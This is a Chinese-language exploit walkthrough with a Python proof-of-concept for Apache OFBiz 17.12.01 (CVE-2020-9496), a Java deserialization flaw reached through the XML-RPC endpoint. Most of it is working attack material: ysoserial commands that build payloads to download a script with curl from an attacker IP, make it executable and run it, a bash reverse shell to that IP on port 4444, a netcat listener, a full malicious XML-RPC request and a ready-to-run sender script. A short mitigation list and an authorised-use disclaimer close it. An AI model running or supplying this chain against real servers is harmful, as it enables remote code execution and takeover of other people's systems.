Apache OFBiz 17.12.01 的远程命令执行漏洞 -Java 反序列化 + XML-RPC 请求机制

目录

漏洞原理

[🎯 一、漏洞背景(CVE-2020-9496)](#🎯 一、漏洞背景(CVE-2020-9496))

[⚙️ 二、攻击原理简述](#⚙️ 二、攻击原理简述)

[🧱 三、完整攻击流程步骤详解](#🧱 三、完整攻击流程步骤详解)

[🔎 1. 信息收集](#🔎 1. 信息收集)

[🛠️ 2. 工具准备](#🛠️ 2. 工具准备)

[🧪 3. 构造初始 payload:下载恶意脚本](#🧪 3. 构造初始 payload:下载恶意脚本)

[📨 4. 构造 XML-RPC POST 请求](#📨 4. 构造 XML-RPC POST 请求)

[🧪 5. 启动临时 HTTP 服务器](#🧪 5. 启动临时 HTTP 服务器)

[🐚 6. 准备反弹 shell 的脚本 bash.sh](#🐚 6. 准备反弹 shell 的脚本 bash.sh)

[🧨 7. 第二个 payload:修改权限](#🧨 7. 第二个 payload:修改权限)

[💥 8. 第三个 payload:执行反弹脚本](#💥 8. 第三个 payload:执行反弹脚本)

[📡 9. 启动监听](#📡 9. 启动监听)

[✅ 四、攻击流程总结图(可选)](#✅ 四、攻击流程总结图(可选))

[🔐 五、安全建议](#🔐 五、安全建议)

POC部分

[✅ 先决条件(手动准备)](#✅ 先决条件(手动准备))

[🐍 Python POC 脚本](#🐍 Python POC 脚本)

[🧪 使用方法示例](#🧪 使用方法示例)

[❗ 安全提醒](#❗ 安全提醒)


漏洞原理

对 Apache OFBiz 17.12.01 的远程命令执行漏洞 (CVE-2020-9496)的完整利用过程,攻击原理是基于 Java 反序列化 + XML-RPC 请求机制。下面我将逐步分解整个过程,包括漏洞原理、具体步骤、工具使用和攻击链。


🎯 一、漏洞背景(CVE-2020-9496)

Apache OFBiz 是一个基于 Java 的开源企业资源计划软件。其 XML-RPC 接口在处理用户提供的 <serializable> XML 标签时,没有对反序列化对象进行严格校验,导致攻击者可以传入恶意序列化数据,在服务器端反序列化执行任意代码。

该漏洞存在于 /webtools/control/xmlrpc 接口。


⚙️ 二、攻击原理简述

  1. 入口点/webtools/control/xmlrpc 接口接受 XML-RPC 格式的请求。

  2. 利用点 :XML 内的 <serializable> 标签支持 Java 对象反序列化。

  3. 漏洞点:OFBiz 未验证反序列化对象的安全性(无黑名单、白名单机制)。

  4. 核心攻击技术 :利用 ysoserial 工具构造一个恶意的 Java 序列化对象,包装在 XML 中,并通过 POST 请求发送,造成远程代码执行。


🧱 三、完整攻击流程步骤详解

🔎 1. 信息收集

  • 目标网页登录界面暴露了 OFBiz 的版本:17.12.01

  • 查询得知该版本存在 CVE-2020-9496


🛠️ 2. 工具准备

下载 ysoserial 以生成恶意 Java 反序列化 payload:

复制代码
git clone https://github.com/frohoff/ysoserial
cd ysoserial
mvn clean package

🧪 3. 构造初始 payload:下载恶意脚本

复制代码
java -jar ysoserial-master-SNAPSHOT.jar CommonsBeanutils1 "curl 10.10.14.83/bash.sh -o /tmp/bash.sh" | base64 | tr -d "\n"

说明:

  • 使用 CommonsBeanutils1 gadget 生成恶意 Java 对象。

  • 命令通过 curl 下载 payload(bash.sh)到 /tmp/bash.sh

  • 使用 base64 编码后放入 XML-RPC 请求的 <serializable> 部分。


📨 4. 构造 XML-RPC POST 请求

发送如下请求到目标的 /webtools/control/xmlrpc 接口:

复制代码
POST /webtools/control/xmlrpc HTTP/1.1
Host: your-ip
Content-Type: application/xml
Content-Length: 4093

<?xml version="1.0"?>
<methodCall>
  <methodName>ProjectDiscovery</methodName>
  <params>
    <param>
      <value>
        <struct>
          <member>
            <name>test</name>
            <value>
              <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">
              [base64-payload]
              </serializable>
            </value>
          </member>
        </struct>
      </value>
    </param>
  </params>
</methodCall>

可以用 curl, Burp Suite, Python requests 等发送。


🧪 5. 启动临时 HTTP 服务器

为了让目标通过 curl 下载文件,攻击者启动一个 HTTP 服务:

复制代码
python3 -m http.server

🐚 6. 准备反弹 shell 的脚本 bash.sh

复制代码
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.83/4444 0>&1

🧨 7. 第二个 payload:修改权限

复制代码
java -jar ysoserial-master-SNAPSHOT.jar CommonsBeanutils1 "chmod 777 /tmp/bash.sh" | base64 | tr -d "\n"

同样发送 XML-RPC 请求让目标服务器执行该 payload,赋予可执行权限。


💥 8. 第三个 payload:执行反弹脚本

复制代码
java -jar ysoserial-master-SNAPSHOT.jar CommonsBeanutils1 "bash -c /tmp/bash.sh" | base64 | tr -d "\n"

最后一次请求触发反弹 shell。


📡 9. 启动监听

攻击者开启监听等待连接:

复制代码
nc -lvvp 4444

目标执行脚本后,即可与攻击者建立反弹连接。


✅ 四、攻击流程总结图(可选)

复制代码
[1] 信息收集
   ↓
[2] ysoserial 构造 payload(curl 下载)
   ↓
[3] POST XML 到 /webtools/control/xmlrpc
   ↓
[4] HTTP 服务器接收到 curl 请求
   ↓
[5] 构造 payload(chmod 脚本)
   ↓
[6] 构造 payload(执行脚本)
   ↓
[7] Netcat 接收到反弹连接

🔐 五、安全建议

  1. 升级 Apache OFBiz 到安全版本(>= 17.12.02)。

  2. 禁用或限制 /webtools/control/xmlrpc 接口的访问。

  3. 使用 Java 反序列化防护机制(如 Apache Commons IO + ObjectInputFilter)。

  4. 内部资产添加身份验证与访问控制。


POC部分

针对 Apache OFBiz CVE-2020-9496利用 PoC(Proof of Concept)脚本,使用 Python 实现自动化发送恶意 XML-RPC 请求。该脚本会:

  1. 使用你手动生成的 base64 payload(通过 ysoserial)

  2. 构造 XML-RPC 请求体

  3. /webtools/control/xmlrpc 发送 POST 请求


✅ 先决条件(手动准备)

  1. 安装 ysoserial,生成 payload,例如:

    复制代码
    java -jar ysoserial.jar CommonsBeanutils1 "id" | base64 | tr -d "\n"
  2. 替换脚本中的 BASE64_PAYLOAD 内容为你生成的内容。


🐍 Python POC 脚本

复制代码
import requests

# =============== 配置区域 ================
target_url = "https://127.0.0.1:8443/webtools/control/xmlrpc"  # 修改为你的目标
base64_payload = "<REPLACE_WITH_YOUR_BASE64_PAYLOAD>"          # 替换成你的base64内容
verify_ssl = False  # 关闭 SSL 验证(自签名证书时使用)

# =============== 构造 XML-RPC 请求 ================
xml_body = f'''<?xml version="1.0"?>
<methodCall>
  <methodName>ProjectDiscovery</methodName>
  <params>
    <param>
      <value>
        <struct>
          <member>
            <name>test</name>
            <value>
              <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">
                {base64_payload}
              </serializable>
            </value>
          </member>
        </struct>
      </value>
    </param>
  </params>
</methodCall>
'''

headers = {
    "Content-Type": "application/xml",
    "User-Agent": "Mozilla/5.0"
}

# =============== 发送请求 ================
print("[*] Sending payload to target...")
response = requests.post(target_url, headers=headers, data=xml_body, verify=verify_ssl)

# =============== 输出结果 ================
print(f"[+] Response code: {response.status_code}")
print("[+] Response body:")
print(response.text)

🧪 使用方法示例

假设你想执行 whoami

复制代码
java -jar ysoserial.jar CommonsBeanutils1 "whoami" | base64 | tr -d "\n"

将生成的 base64 粘贴进脚本中,运行:

复制代码
python3 exploit_ofbiz_cve2020_9496.py

❗ 安全提醒

该 PoC 仅限于授权测试或靶机环境使用,不得在未授权系统上运行!


相关推荐
卓豪终端管理29 分钟前
如何实现补丁管理自动化?
运维·人工智能·安全·网络安全·自动化·补丁管理·补丁自动化
sg_knight1 小时前
Spring Cloud LoadBalancer深度解析:官方负载均衡方案迁移指南与避坑实践
java·spring boot·spring·spring cloud·微服务·负载均衡
全干engineer1 小时前
Web3-代币ERC20/ERC721以及合约安全溢出和下溢的研究
安全·web3·区块链·智能合约·solidity
network_tester1 小时前
路由器压测实战:从负载均衡到DDoS防御,5步定位性能瓶颈(附脚本工具包)
网络·网络协议·tcp/ip·http·网络安全·https·信息与通信
_何同学1 小时前
Ollama 安装 DeepSeek 与 Spring Boot 集成指南
java·spring boot·后端·ai
weixin_442643422 小时前
IP Guard vs Ping32:2025 年企业防泄密系统深度横评
服务器·网络·安全·数据安全
CZIDC2 小时前
关闭不必要的系统服务-服务器更流畅、更安全
服务器·git·安全
Code季风3 小时前
跨语言RPC:使用Java客户端调用Go服务端的HTTP-RPC服务
java·网络协议·http·rpc·golang
盖世英雄酱581363 小时前
时间设置的是23点59分59秒,数据库却存的是第二天00:00:00
java·数据库·后端
雪兽软件4 小时前
网络安全中的人工智能应用
人工智能·web安全